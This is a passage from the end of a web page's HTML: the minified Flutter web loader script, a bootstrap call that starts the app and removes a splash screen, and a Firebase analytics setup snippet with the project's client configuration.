t=e||[/\.js$/,/\.mjs$/];window.trustedTypes&&(this.policy=trustedTypes.createPolicy(r,{createScriptURL:function(n){if(n.startsWith("blob:"))return n;let s=new URL(n,window.location),a=s.pathname.split("/").pop();if(t.some(d=>d.test(a)))return s.toString();console.error("URL rejected by TrustedTypes policy",r,":",n,"(download prevented)")}}))}};var k=i=>{let e=WebAssembly.compileStreaming(fetch(i));return(r,t)=>((async()=>{let n=await e,s=await WebAssembly.instantiate(n,r);t(s,n)})(),{})};var E=(i,e,r,t)=>(window.flutterCanvasKitLoaded=(async()=>{if(window.flutterCanvasKit)return window.flutterCanvasKit;let n=r.hasChromiumBreakIterators&&r.hasImageCodecs;if(!n&&e.canvasKitVariant=="chromium")throw"Chromium CanvasKit variant specifically requested, but unsupported in this browser";let s=n&&e.canvasKitVariant!=="full",a=t;e.canvasKitVariant=="experimentalWebParagraph"?a=c(a,"experimental_webparagraph"):s&&(a=c(a,"chromium"));let o=c(a,"canvaskit.js");i.flutterTT.policy&&(o=i.flutterTT.policy.createScriptURL(o));let d=k(c(a,"canvaskit.wasm")),u=await import(o);return window.flutterCanvasKit=await u.default({instantiateWasm:d}),window.flutterCanvasKit})(),window.flutterCanvasKitLoaded);var W=async(i,e,r,t)=>{let s=!r.hasImageCodecs||!r.hasChromiumBreakIterators?"skwasm_heavy":"skwasm",a=c(t,`${s}.js`),o=a;i.flutterTT.policy&&(o=i.flutterTT.policy.createScriptURL(o));let d=k(c(t,`${s}.wasm`));return await(await import(o)).default({skwasmSingleThreaded:!r.crossOriginIsolated||e.forceSingleThreadedSkwasm,instantiateWasm:d,locateFile:(l,p)=>{if(l.endsWith(".ww.js")){let f=c(t,l);return URL.createObjectURL(new Blob([` "use strict"; let eventListener; eventListener = (message) => { const pendingMessages = []; const data = message.data; data["instantiateWasm"] = (info,receiveInstance) => { const instance = new WebAssembly.Instance(data["wasm"], info); return receiveInstance(instance, data["wasm"]) }; import(data.js).then(async (skwasm) => { await skwasm.default(data); removeEventListener("message", eventListener); for (const message of pendingMessages) { dispatchEvent(message); } }); removeEventListener("message", eventListener); eventListener = (message) => { pendingMessages.push(message); }; addEventListener("message", eventListener); }; addEventListener("message", eventListener); `],{type:"application/javascript"}))}return url},mainScriptUrlOrBlob:a})};var P=w.supportsWasmGC,G=P&&w.webGLVersion>0,b=class{async loadEntrypoint(e){let{serviceWorker:r,...t}=e||{},n=new y,s=new g;s.setTrustedTypesPolicy(n.policy),await s.loadServiceWorker(r).catch(o=>{console.warn("Exception while loading service worker:",o)});let a=new h;return a.setTrustedTypesPolicy(n.policy),this.didCreateEngineInitializer=a.didCreateEngineInitializer.bind(a),a.loadEntrypoint(t)}async load({serviceWorkerSettings:e,onEntrypointLoaded:r,nonce:t,config:n}={}){n??={};let s=_flutter.buildConfig;if(!s)throw"FlutterLoader.load requires _flutter.buildConfig to be set";let a=n.wasmAllowList?.[w.browserEngine]??_[w.browserEngine],o=m=>{switch(m){case"skwasm":return G&&a;default:return!0}},d=m=>m.compileTarget==="dart2wasm"&&!P||n.renderer&&n.renderer!=m.renderer?!1:o(m.renderer),u=s.builds.find(d);if(!u)throw"FlutterLoader could not find a build compatible with configuration and environment.";let l={};l.flutterTT=new y,e&&(l.serviceWorkerLoader=new g,l.serviceWorkerLoader.setTrustedTypesPolicy(l.flutterTT.policy),await l.serviceWorkerLoader.loadServiceWorker(e).catch(m=>{console.warn("Exception while loading service worker:",m)}));let p=T(n,s);u.renderer==="canvaskit"?l.canvasKit=E(l,n,w,p):u.renderer==="skwasm"&&(l.skwasm=W(l,n,w,p));let f=new h;return f.setTrustedTypesPolicy(l.flutterTT.policy),this.didCreateEngineInitializer=f.didCreateEngineInitializer.bind(f),f.load(u,l,n,t,r)}};window._flutter||(window._flutter={});window._flutter.loader||(window._flutter.loader=new b);})(); //# sourceMappingURL=flutter.js.map if (!window._flutter) { window._flutter = {}; } _flutter.buildConfig = {"engineRevision":"1527ae0ec577a4ef50e65f6fefcfc1326707d9bf","builds":[{"compileTarget":"dart2js","renderer":"canvaskit","mainJsPath":"main.dart.js"},{}]}; _flutter.loader.load({ serviceWorker: { serviceWorkerVersion: "1383575947", }, onEntrypointLoaded: function(engineInitializer) { let config = { renderer: 'html' }; engineInitializer.initializeEngine(config).then(function(appRunner) { if(document.getElementById('splash')) document.getElementById('splash').remove(); appRunner.runApp(); }); } }); }); </script> <script> // Delay the removal of the preloader by 500 milliseconds function removePreloader() { const preloader = document.querySelector('.preloader'); if (preloader) { preloader.remove(); } } </script> <script> // Import the functions you need from the SDKs you need import { initializeApp } from "firebase/app"; import { getAnalytics } from "firebase/analytics"; // TODO: Add SDKs for Firebase products that you want to use // https://firebase.google.com/docs/web/setup#available-libraries // Your web app's Firebase configuration // For Firebase JS SDK v7.20.0 and later, measurementId is optional const firebaseConfig = { apiKey: "AIzaSyDFN-73p8zKVZbA0i5DtO215XzAb-xuGSE", authDomain: "ammart-8885e.firebaseapp.com", databaseURL: "https://ammart-8885e-default-rtdb.firebaseio.com", projectId: "ammart-8885e", storageBucket: "ammart-8885e.appspot.com", messagingSenderId: "1000163153346", appId: "1:1000163153346:web:4f702a4b5adbd5c906b25b", measurementId: "G-L1GNL2YV61" }; // Initialize Firebase const app = initializeApp(firebaseConfig); const analytics = getAnalytics(app); </script> </body> </html>
Close